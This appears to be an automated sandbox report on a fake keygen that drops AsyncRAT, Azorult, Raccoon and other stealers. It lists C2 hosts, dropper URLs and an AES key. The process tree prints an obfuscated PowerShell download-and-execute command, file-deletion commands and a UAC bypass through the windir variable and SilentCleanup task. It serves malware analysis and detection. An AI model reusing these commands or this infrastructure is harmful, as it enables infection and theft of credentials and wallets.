asyncrat | a2d3d6430f6775951cf988d960cfae4093d7a1e4d0f684ddfffaf4599ace9a71

Resubmissions

18-11-2020 14:18

201118-dj27sn3f52 10

18-11-2020 13:42

201118-1arz86e7w6 10

18-11-2020 13:38

201118-n8jh228ctn 10

Analysis

max time kernel
1803s
max time network
1815s
platform
windows10_x64
resource
win10v20201028
submitted
18-11-2020 14:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Keygen.bin.exe

Score

10^/10

asyncrat azorult modiloader oski raccoon c6f4c67877b4427c759f396ca4c1dff4761d3cc9 discovery evasion infostealer persistence rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Family

raccoon

Botnet

c6f4c67877b4427c759f396ca4c1dff4761d3cc9

Attributes

url4cnc
https://telete.in/brikitiki

rc4.plain

Extracted

Family

azorult

http://195.245.112.115/index.php

Extracted

Family

asyncrat

Version

0.5.7B

agentttt.ac.ug:6970

agentpurple.ac.ug:6970

Mutex

AsyncMutex_6SI8OkPnk

Attributes

aes_key
16dw6EDbQkYZp5BTs7cmLUicVtOA4UQr
anti_detection
false
autorun
false
bdos
false
delay
Default
host
agentttt.ac.ug,agentpurple.ac.ug
hwid
3
install_file
install_folder
%AppData%
mutex
AsyncMutex_6SI8OkPnk
pastebin_config
null
port
6970
version
0.5.7B

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 10 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral9/memory/4836-228-0x0000000000400000-0x000000000040C000-memory.dmp	disable_win_def
behavioral9/memory/4836-230-0x000000000040616E-mapping.dmp	disable_win_def
behavioral9/memory/5036-233-0x0000000000400000-0x0000000000408000-memory.dmp	disable_win_def
behavioral9/memory/5036-234-0x0000000000403BEE-mapping.dmp	disable_win_def
behavioral9/files/0x000300000001ab9e-267.dat	disable_win_def
behavioral9/files/0x000300000001ab9e-266.dat	disable_win_def
behavioral9/memory/3880-735-0x000000000040616E-mapping.dmp	disable_win_def
behavioral9/memory/2640-747-0x0000000000403BEE-mapping.dmp	disable_win_def
behavioral9/files/0x000500000001abbd-788.dat	disable_win_def
behavioral9/files/0x000500000001abbd-787.dat	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Async RAT payload 3 IoCs

rat

resource	yara_rule
behavioral9/memory/4604-218-0x0000000000400000-0x0000000000412000-memory.dmp	asyncrat
behavioral9/memory/4604-219-0x000000000040C76E-mapping.dmp	asyncrat
behavioral9/memory/3928-719-0x000000000040C76E-mapping.dmp	asyncrat

ModiLoader First Stage 2 IoCs

resource	yara_rule
behavioral9/memory/2140-287-0x00000000005A0000-0x00000000005B0000-memory.dmp	modiloader_stage1
behavioral9/memory/4404-695-0x0000000000690000-0x00000000006A0000-memory.dmp	modiloader_stage1

Blocklisted process makes network request 6 IoCs

flow	pid	Process
21	3716	powershell.exe
22	4088	powershell.exe
25	3716	powershell.exe
26	4088	powershell.exe
27	4480	powershell.exe
29	4480	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 34 IoCs

pid	Process
2840	Keygen.exe
5088	pnc.exe
5100	ldz.exe
3288	zVhjgfutyFD.exe
4468	HuytgfGDFwer.exe
4616	pnc.exe
2076	adv.exe
4636	zVhjgfutyFD.exe
4688	HuytgfGDFwer.exe
4188	xoEEhQ7GLT.exe
2140	Yms5gMrn3A.exe
4724	0X6NfiXLW1.exe
4684	Yk4BLKNa1Z.exe
4372	xoEEhQ7GLT.exe
4800	xoEEhQ7GLT.exe
4604	xoEEhQ7GLT.exe
4836	0X6NfiXLW1.exe
5036	Yk4BLKNa1Z.exe
696	s4drbjpj.exe
5740	axcjgfhwvvas.exe
5752	ldz.exe
5780	ldz.exe
5968	oscjgfhwvvas.exe
4600	axcjgfhwvvas.exe
1292	HXkNYAi4c4.exe
4404	v15Xka8Ssx.exe
6000	jkgBQhmV6k.exe
4784	AswoNvyLvJ.exe
3928	HXkNYAi4c4.exe
5172	jkgBQhmV6k.exe
5152	oscjgfhwvvas.exe
3880	jkgBQhmV6k.exe
2640	AswoNvyLvJ.exe
4432	tmnj3xnh.exe

Loads dropped DLL 18 IoCs

pid	Process
4688	HuytgfGDFwer.exe
4688	HuytgfGDFwer.exe
4688	HuytgfGDFwer.exe
4616	pnc.exe
4616	pnc.exe
4616	pnc.exe
4616	pnc.exe
4616	pnc.exe
4616	pnc.exe
5780	ldz.exe
5780	ldz.exe
5780	ldz.exe
5780	ldz.exe
5780	ldz.exe
5780	ldz.exe
5152	oscjgfhwvvas.exe
5152	oscjgfhwvvas.exe
5152	oscjgfhwvvas.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 3 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	Yk4BLKNa1Z.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	Yk4BLKNa1Z.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	AswoNvyLvJ.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Klfn = "C:\\Users\\Admin\\AppData\\Local\\nflK.url"	Yms5gMrn3A.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\LocalLow\n9h9r91h8fna789q\desktop.ini	pnc.exe
File created	C:\Users\Admin\AppData\LocalLow\n9h9r91h8fna789q\desktop.ini	ldz.exe

Suspicious use of SetThreadContext 12 IoCs

description	pid	Process	procid_target
PID 5088 set thread context of 4616	5088	pnc.exe	104
PID 3288 set thread context of 4636	3288	zVhjgfutyFD.exe	106
PID 4468 set thread context of 4688	4468	HuytgfGDFwer.exe	107
PID 4188 set thread context of 4604	4188	xoEEhQ7GLT.exe	124
PID 4724 set thread context of 4836	4724	0X6NfiXLW1.exe	125
PID 4684 set thread context of 5036	4684	Yk4BLKNa1Z.exe	126
PID 5100 set thread context of 5780	5100	ldz.exe	165
PID 5740 set thread context of 4600	5740	axcjgfhwvvas.exe	169
PID 1292 set thread context of 3928	1292	HXkNYAi4c4.exe	186
PID 5968 set thread context of 5152	5968	oscjgfhwvvas.exe	187
PID 6000 set thread context of 3880	6000	jkgBQhmV6k.exe	189
PID 4784 set thread context of 2640	4784	AswoNvyLvJ.exe	191

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	HuytgfGDFwer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	oscjgfhwvvas.exe

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
2976	timeout.exe
3768	timeout.exe
4812	timeout.exe
2732	timeout.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
4740	taskkill.exe
2788	taskkill.exe
5176	taskkill.exe
6032	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings	cmd.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
1868	reg.exe
4760	reg.exe
1320	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Yms5gMrn3A.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Yms5gMrn3A.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2192	powershell.exe
3716	powershell.exe
4088	powershell.exe
1268	powershell.exe
1268	powershell.exe
3716	powershell.exe
4088	powershell.exe
2192	powershell.exe
1268	powershell.exe
3716	powershell.exe
3716	powershell.exe
4088	powershell.exe
4088	powershell.exe
2192	powershell.exe
2192	powershell.exe
1268	powershell.exe
4480	powershell.exe
4480	powershell.exe
4704	powershell.exe
4704	powershell.exe
4480	powershell.exe
4704	powershell.exe
4480	powershell.exe
4704	powershell.exe
4188	xoEEhQ7GLT.exe
4188	xoEEhQ7GLT.exe
4188	xoEEhQ7GLT.exe
4188	xoEEhQ7GLT.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
5088	pnc.exe
3288	zVhjgfutyFD.exe
4468	HuytgfGDFwer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	3716	powershell.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeDebugPrivilege	4480	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	4740	taskkill.exe
Token: SeDebugPrivilege	4188	xoEEhQ7GLT.exe
Token: SeDebugPrivilege	4724	0X6NfiXLW1.exe
Token: SeDebugPrivilege	4684	Yk4BLKNa1Z.exe
Token: SeDebugPrivilege	4836	0X6NfiXLW1.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	2788	taskkill.exe
Token: SeDebugPrivilege	852	powershell.exe
Token: SeIncreaseQuotaPrivilege	852	powershell.exe
Token: SeSecurityPrivilege	852	powershell.exe
Token: SeTakeOwnershipPrivilege	852	powershell.exe
Token: SeLoadDriverPrivilege	852	powershell.exe
Token: SeSystemProfilePrivilege	852	powershell.exe
Token: SeSystemtimePrivilege	852	powershell.exe
Token: SeProfSingleProcessPrivilege	852	powershell.exe
Token: SeIncBasePriorityPrivilege	852	powershell.exe
Token: SeCreatePagefilePrivilege	852	powershell.exe
Token: SeBackupPrivilege	852	powershell.exe
Token: SeRestorePrivilege	852	powershell.exe
Token: SeShutdownPrivilege	852	powershell.exe
Token: SeDebugPrivilege	852	powershell.exe
Token: SeSystemEnvironmentPrivilege	852	powershell.exe
Token: SeRemoteShutdownPrivilege	852	powershell.exe
Token: SeUndockPrivilege	852	powershell.exe
Token: SeManageVolumePrivilege	852	powershell.exe
Token: 33	852	powershell.exe
Token: 34	852	powershell.exe
Token: 35	852	powershell.exe
Token: 36	852	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	612	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	3916	powershell.exe
Token: SeIncreaseQuotaPrivilege	2156	powershell.exe
Token: SeSecurityPrivilege	2156	powershell.exe
Token: SeTakeOwnershipPrivilege	2156	powershell.exe
Token: SeLoadDriverPrivilege	2156	powershell.exe
Token: SeSystemProfilePrivilege	2156	powershell.exe
Token: SeSystemtimePrivilege	2156	powershell.exe
Token: SeProfSingleProcessPrivilege	2156	powershell.exe
Token: SeIncBasePriorityPrivilege	2156	powershell.exe
Token: SeCreatePagefilePrivilege	2156	powershell.exe
Token: SeBackupPrivilege	2156	powershell.exe
Token: SeRestorePrivilege	2156	powershell.exe
Token: SeShutdownPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeSystemEnvironmentPrivilege	2156	powershell.exe
Token: SeRemoteShutdownPrivilege	2156	powershell.exe
Token: SeUndockPrivilege	2156	powershell.exe
Token: SeManageVolumePrivilege	2156	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
2840	Keygen.exe
5088	pnc.exe
3288	zVhjgfutyFD.exe
4468	HuytgfGDFwer.exe
2076	adv.exe
4836	0X6NfiXLW1.exe
4836	0X6NfiXLW1.exe
3880	jkgBQhmV6k.exe
3880	jkgBQhmV6k.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1152 wrote to memory of 2428	1152	Keygen.bin.exe	75
PID 1152 wrote to memory of 2428	1152	Keygen.bin.exe	75
PID 1152 wrote to memory of 2428	1152	Keygen.bin.exe	75
PID 2428 wrote to memory of 2840	2428	cmd.exe	79
PID 2428 wrote to memory of 2840	2428	cmd.exe	79
PID 2428 wrote to memory of 2840	2428	cmd.exe	79
PID 2428 wrote to memory of 3720	2428	cmd.exe	80
PID 2428 wrote to memory of 3720	2428	cmd.exe	80
PID 2428 wrote to memory of 3720	2428	cmd.exe	80
PID 2428 wrote to memory of 2116	2428	cmd.exe	81
PID 2428 wrote to memory of 2116	2428	cmd.exe	81
PID 2428 wrote to memory of 2116	2428	cmd.exe	81
PID 2428 wrote to memory of 2976	2428	cmd.exe	82
PID 2428 wrote to memory of 2976	2428	cmd.exe	82
PID 2428 wrote to memory of 2976	2428	cmd.exe	82
PID 3720 wrote to memory of 3716	3720	mshta.exe	83
PID 3720 wrote to memory of 3716	3720	mshta.exe	83
PID 3720 wrote to memory of 3716	3720	mshta.exe	83
PID 2116 wrote to memory of 2192	2116	mshta.exe	85
PID 2116 wrote to memory of 2192	2116	mshta.exe	85
PID 2116 wrote to memory of 2192	2116	mshta.exe	85
PID 2428 wrote to memory of 416	2428	cmd.exe	87
PID 2428 wrote to memory of 416	2428	cmd.exe	87
PID 2428 wrote to memory of 416	2428	cmd.exe	87
PID 2428 wrote to memory of 3780	2428	cmd.exe	88
PID 2428 wrote to memory of 3780	2428	cmd.exe	88
PID 2428 wrote to memory of 3780	2428	cmd.exe	88
PID 2428 wrote to memory of 3768	2428	cmd.exe	89
PID 2428 wrote to memory of 3768	2428	cmd.exe	89
PID 2428 wrote to memory of 3768	2428	cmd.exe	89
PID 416 wrote to memory of 4088	416	mshta.exe	90
PID 416 wrote to memory of 4088	416	mshta.exe	90
PID 416 wrote to memory of 4088	416	mshta.exe	90
PID 3780 wrote to memory of 1268	3780	mshta.exe	92
PID 3780 wrote to memory of 1268	3780	mshta.exe	92
PID 3780 wrote to memory of 1268	3780	mshta.exe	92
PID 2428 wrote to memory of 4392	2428	cmd.exe	94
PID 2428 wrote to memory of 4392	2428	cmd.exe	94
PID 2428 wrote to memory of 4392	2428	cmd.exe	94
PID 4392 wrote to memory of 4480	4392	mshta.exe	95
PID 4392 wrote to memory of 4480	4392	mshta.exe	95
PID 4392 wrote to memory of 4480	4392	mshta.exe	95
PID 2428 wrote to memory of 4596	2428	cmd.exe	97
PID 2428 wrote to memory of 4596	2428	cmd.exe	97
PID 2428 wrote to memory of 4596	2428	cmd.exe	97
PID 4596 wrote to memory of 4704	4596	mshta.exe	98
PID 4596 wrote to memory of 4704	4596	mshta.exe	98
PID 4596 wrote to memory of 4704	4596	mshta.exe	98
PID 3716 wrote to memory of 5088	3716	powershell.exe	100
PID 3716 wrote to memory of 5088	3716	powershell.exe	100
PID 3716 wrote to memory of 5088	3716	powershell.exe	100
PID 4088 wrote to memory of 5100	4088	powershell.exe	101
PID 4088 wrote to memory of 5100	4088	powershell.exe	101
PID 4088 wrote to memory of 5100	4088	powershell.exe	101
PID 5088 wrote to memory of 3288	5088	pnc.exe	102
PID 5088 wrote to memory of 3288	5088	pnc.exe	102
PID 5088 wrote to memory of 3288	5088	pnc.exe	102
PID 5088 wrote to memory of 4468	5088	pnc.exe	103
PID 5088 wrote to memory of 4468	5088	pnc.exe	103
PID 5088 wrote to memory of 4468	5088	pnc.exe	103
PID 5088 wrote to memory of 4616	5088	pnc.exe	104
PID 5088 wrote to memory of 4616	5088	pnc.exe	104
PID 5088 wrote to memory of 4616	5088	pnc.exe	104
PID 5088 wrote to memory of 4616	5088	pnc.exe	104

C:\Users\Admin\AppData\Local\Temp\Keygen.bin.exe
"C:\Users\Admin\AppData\Local\Temp\Keygen.bin.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1152
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\797B.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.bin.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Users\Admin\AppData\Local\Temp\797B.tmp\Keygen.exe
    Keygen.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:2840
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\797B.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3720
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3716
    - - C:\Users\Public\pnc.exe
        
        "C:\Users\Public\pnc.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:5088
      - C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe
        
        "C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        
        PID:3288
        
        C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe
        
        "C:\Users\Admin\AppData\Local\Temp\zVhjgfutyFD.exe"
        7⤵
        Executes dropped EXE
        
        PID:4636
      - C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        
        PID:4468
        
        C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:4688
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /pid 4688 & erase C:\Users\Admin\AppData\Local\Temp\HuytgfGDFwer.exe & RD /S /Q C:\\ProgramData\\468043462435068\\* & exit
        8⤵
        
        PID:1124
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /pid 4688
        9⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4740
      - C:\Users\Public\pnc.exe
        
        "C:\Users\Public\pnc.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops desktop.ini file(s)
        
        PID:4616
        
        C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4188
        
        C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe"
        8⤵
        Executes dropped EXE
        
        PID:4372
        
        C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe"
        8⤵
        Executes dropped EXE
        
        PID:4800
        
        C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoEEhQ7GLT.exe"
        8⤵
        Executes dropped EXE
        
        PID:4604
        
        C:\Users\Admin\AppData\Local\Temp\Yms5gMrn3A.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Yms5gMrn3A.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Modifies system certificate store
        
        PID:2140
        
        C:\Windows\SysWOW64\svchost.exe
        
        "C:\Windows\System32\svchost.exe"
        8⤵
        
        PID:5916
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Public\kNhjQtso.bat" "
        9⤵
        
        PID:2084
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete hkcu\Environment /v windir /f
        10⤵
        Modifies registry key
        
        PID:1868
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "
        10⤵
        Modifies registry key
        
        PID:4760
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
        10⤵
        
        PID:4884
        
